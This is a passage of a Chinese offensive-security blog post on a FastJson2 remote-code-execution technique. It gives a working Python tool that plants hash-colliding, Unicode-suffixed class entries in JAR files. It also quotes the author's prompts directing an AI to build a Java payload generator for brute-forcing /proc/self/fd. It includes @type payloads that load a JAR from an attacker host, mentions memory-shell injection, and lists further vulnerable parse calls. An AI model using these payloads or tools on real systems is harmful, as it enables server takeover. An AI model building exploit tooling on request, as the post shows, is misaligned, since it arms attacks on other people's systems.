  4. 创建临时 JAR, 复制所有原条目 + 追加新条目
  5. 用临时 JAR 替换原 JAR
  6. 验证新条目存在且内容与原条目一致
"""
import sys
import re
import os
import shutil
import zipfile
import tempfile


def decode_unicode_escapes(s):
    """
\\uXXXX 格式的字符串解码为实际 unicode 字符.
    支持混合字面字符和转义序列: "Hello\\u4e16\\u754c" -> "Hello世界"
    若传入的已是实际字符 (无 \\u 转义), 原样返回.
    """
    pattern = re.compile(r'\\u([0-9a-fA-F]{4})')
    return pattern.sub(lambda m: chr(int(m.group(1), 16)), s)


def split_extension(name):
    """
    分离条目名的主体和扩展名.
    Hello.class          -> ('Hello', '.class')
    com/foo/Bar.class    -> ('com/foo/Bar', '.class')
    Hello                -> ('Hello', '')
    """
    idx = name.rfind('.')
    # 排除路径中的点 (如 com.foo/Bar 中的第一个点)
    # 只认最后一个点, 且该点后面不是路径分隔符
    if idx > 0 and '/' not in name[idx:]:
        return name[:idx], name[idx:]
    return name, ''


def main():
    if len(sys.argv) != 4:
        print(__doc__)
        sys.exit(1)

    jar_path = sys.argv[1]
    original_class = sys.argv[2]
    unicode_str = sys.argv[3]

    # 解码 unicode 转义
    decoded = decode_unicode_escapes(unicode_str)

    # 分离原 class 文件名和扩展名
    base_name, ext = split_extension(original_class)

    # 构造新条目名: base_name + decoded + ext
    new_entry_name = base_name + decoded + ext

    print("═" * 64)
    print("  JAR 碰撞条目复制工具")
    print("═" * 64)
    print()
    print(f"  JAR 文件:        {jar_path}")
    print(f"  原 class 条目:   {original_class}")
    print(f"  Unicode 输入:    {unicode_str}")
    print(f"  解码后字符:      {repr(decoded)}")
    print(f"  解码后 Unicode:  {''.join(chr(c) for c in [ord(c) for c in decoded])!r}")
    decoded_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in decoded)
    print(f"  解码后转义形式:  {decoded_unicode_repr}")
    print()
    print(f"  新条目名:        {repr(new_entry_name)}")
    new_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in new_entry_name)
    print(f"  新条目 Unicode:  {new_unicode_repr}")
    print()

    # 检查 JAR 文件
    if not os.path.exists(jar_path):
        print(f"  ✗ JAR 文件不存在: {jar_path}")
        sys.exit(1)

    # 读取原 class 内容并检查
    try:
        with zipfile.ZipFile(jar_path, 'r') as zf:
            names = zf.namelist()
            if original_class not in names:
                print(f"  ✗ 原 class 条目 [{original_class}] 不在 JAR 中")
                print()
                print("  JAR 当前条目列表:")
                for n in names:
                    display = n.encode('utf-8', errors='backslashreplace').decode('utf-8')
                    print(f"    {display}")
                sys.exit(1)
            original_data = zf.read(original_class)
            existing_new = new_entry_name in names
    except zipfile.BadZipFile:
        print(f"  ✗ 不是有效的 ZIP/JAR 文件: {jar_path}")
        sys.exit(1)

    print(f"  ✓ 找到原条目 [{original_class}], 大小 {len(original_data)} 字节")
    if existing_new:
        print(f"  ⚠ 新条目已存在, 将覆盖")

    # 创建临时文件, 复制所有条目 + 添加新条目
    fd, tmp_path = tempfile.mkstemp(suffix='.jar')
    os.close(fd)

    try:
        print()
        print("  写入新 JAR...")
        with zipfile.ZipFile(jar_path, 'r') as src:
            with zipfile.ZipFile(tmp_path, 'w', zipfile.ZIP_DEFLATED) as dst:
                # 复制所有原条目 (跳过与新条目同名的, 稍后统一写)
                for item in src.infolist():
                    if item.filename == new_entry_name:
                        continue
                    # 用 ZipInfo 保留原条目的压缩方式/时间戳等元信息
                    dst.writestr(item, src.read(item.filename))
                # 追加新条目 (内容复制自原 class)
                dst.writestr(new_entry_name, original_data)

        # 用临时文件替换原 JAR
        shutil.move(tmp_path, jar_path)
        print(f"  ✓ 已添加新条目")

    except Exception as e:
        if os.path.exists(tmp_path):
            os.unlink(tmp_path)
        print(f"  ✗ 操作失败: {e}")
        sys.exit(1)

    # 验证结果
    print()
    print("─" * 64)
    print("  验证结果")
    print("─" * 64)
    print()
    with zipfile.ZipFile(jar_path, 'r') as zf:
        names = zf.namelist()
        print(f"  JAR 条目列表 ({len(names)} 项):")
        for n in names:
            display = n.encode('utf-8', errors='backslashreplace').decode('utf-8')
            unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in n)
            marker = ' ★ 新增' if n == new_entry_name else ''
            print(f"    {display}{marker}")
            if n == new_entry_name:
                print(f"      unicode: {unicode_repr}")
                data = zf.read(n)
                if data == original_data:
                    print(f"      内容校验: ✓ 与原条目一致 ({len(data)} 字节)")
                else:
                    print(f"      内容校验: ✗ 与原条目不一致!")
                    print(f"      原条目: {len(original_data)} 字节, 新条目: {len(data)} 字节")

    print()
    print("═" * 64)


if __name__ == '__main__':
    main()

最终结果:

1b89afac-0b2d-4146-b880-af329b0c4c63.png

当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:

图片.png

最终驻留成功.

POC 调试 & 攻击案例

刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了:

我这里有一个项目/Users/heihu577/Desktop/fastjson2/tools/fastjson-1.2.83-rce-jar-generator-1.0.1/GenJarBatch.java你可以   阅读一波 README.md 文件之后再看一波该 java 源码现在我给你定义新的需求新增fnv_add_unicode_file 功能 cmd     
  defineClass 生成的 jar 文件进行分析1: 分析出来 cmd  defineClass 生成的 jar 通过查看包名的形式能够定位到              fd0.Exception假设生成的  class 文件是该结构如果存在多个目录中存在 class 文件就依次进行如下操作),那么你可以通过 ASM   类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的 python fnv_collision.py --prefix                              
  "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 中的 --prefix 部分可能是 jar:file:.proc.self.fd.数字!.   fd 数字.Exception这种结构2. 根据枚举出来的 包名类名结构通过 python fnv_collision.py --prefix  "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 该脚本的逻辑来进行计算是根据逻辑但你需要写出对应  
  java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 Unicode 码部分3. 你已经知道了要增加什么 Unicode    编码之后你需要将 Hello 类中的字节码中的类名部分进行修改可以使用 asm 实现),修改为 Hello+Unicode ”,并且将该 class   文件加入到 jar 包中文件名同样符合类名规律)。整个过程全部使用 java 语言禁止 java 中嵌套 python 

坐等很长时间后, 又优化了一些细节:

最后生成的 jar 包中不是含有 class 文件吗然后会输出:“jar:file:.proc.self.fd.256!.fd256.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到"result.txt" 并且内容是jar:file:.proc.self.fd.<NUM>!.fd<NUM>.Exception<Unicode 编码>因为 fd 目录可能太多然后你需要换行分割

用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路:

现在对原有的 cmd/defineClass 做一个变更就是写入 jar 文件中的 1.class 文件为命令行中指明的 host  port 名称或者整个命令行也可以

这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名.

让你做这一步实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求1. 解析 1.class 文件内容中的 ip  port 部分组合为jar:http:..<IP的10进制>:<IP的端口号>.<命令行中指明的文件名>!.1 2. 对组合结果进行 z3-fnv算法解方程最后要拼接出jar:http:..<IP的10进制>:<IP的端口号>.<命令行中指明的文件名>!.1<Unicode编码> 3. 拼接完成之后在最终处理的 jar 包内增加这样一个真实文件最最最后需要告诉用户首先使用该 payload 进行远程服务器下载

最终实现效果, 先是工具提示远程拉取:

573738ea-efc8-460a-99ff-ecb6eda2b69d.png

随后是工具生成的 result.txt 进行爆破:

a822e005-77ce-4d25-a68e-51bafd390b33.png

另外这里调教 AI 使用了 java 的 z3 实现解方程的效果.

内存马注入

先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:

7f3a91df-e50e-4da5-9517-b447f97a7be8.png

最终结果:

图片.png

其他语法

参考: https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过:

JSON.parseObject(可控,List.class)
JSON.parseObject(可控,Set.class)
JSON.parse(可控)

进行 RCE, 简单跟一下:

String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parseObject(jsonWithType, List.class);
System.out.println(obj);

1eef94c8-abd1-4fa6-a96b-42e17bdde27a.png

以及:

String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parseObject(jsonWithType, Set.class);

e9c10b23-f713-4caf-a5c9-ab3490792764.png

以及:

String jsonWithType = "[{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}]";
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parse(jsonWithType);
System.out.println(obj);

07bf767e-feb0-4b96-89c0-7d868e03622b.png

相对于 JSON.parse 来说, 多了一步选择器的操作:

adf17043-6a29-4ae2-8df6-5b6c01e3029d.png

其他补充

往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类:

JSON.parseObject(jsonWithType, Collection.class);
JSON.parseObject(jsonWithType, ArrayList.class);
JSON.parseObject(jsonWithType, HashSet.class);
JSON.parseObject(jsonWithType, Comparable.class);
JSON.parseObject(jsonWithType, Serializable.class);
JSON.parseObject(jsonWithType, Cloneable.class);
JSON.parseObject(jsonWithType, Closeable.class);
JSON.parseObject(jsonWithType, Object[].class);

规律参考:

子类 类型
List 系 Iterable, Collection, List, AbstractCollection, AbstractList, ArrayList, Stack
Queue/Deque 系 Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList
Set 系 Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet

可能还有更多 parseObject 手法可打.

Ending...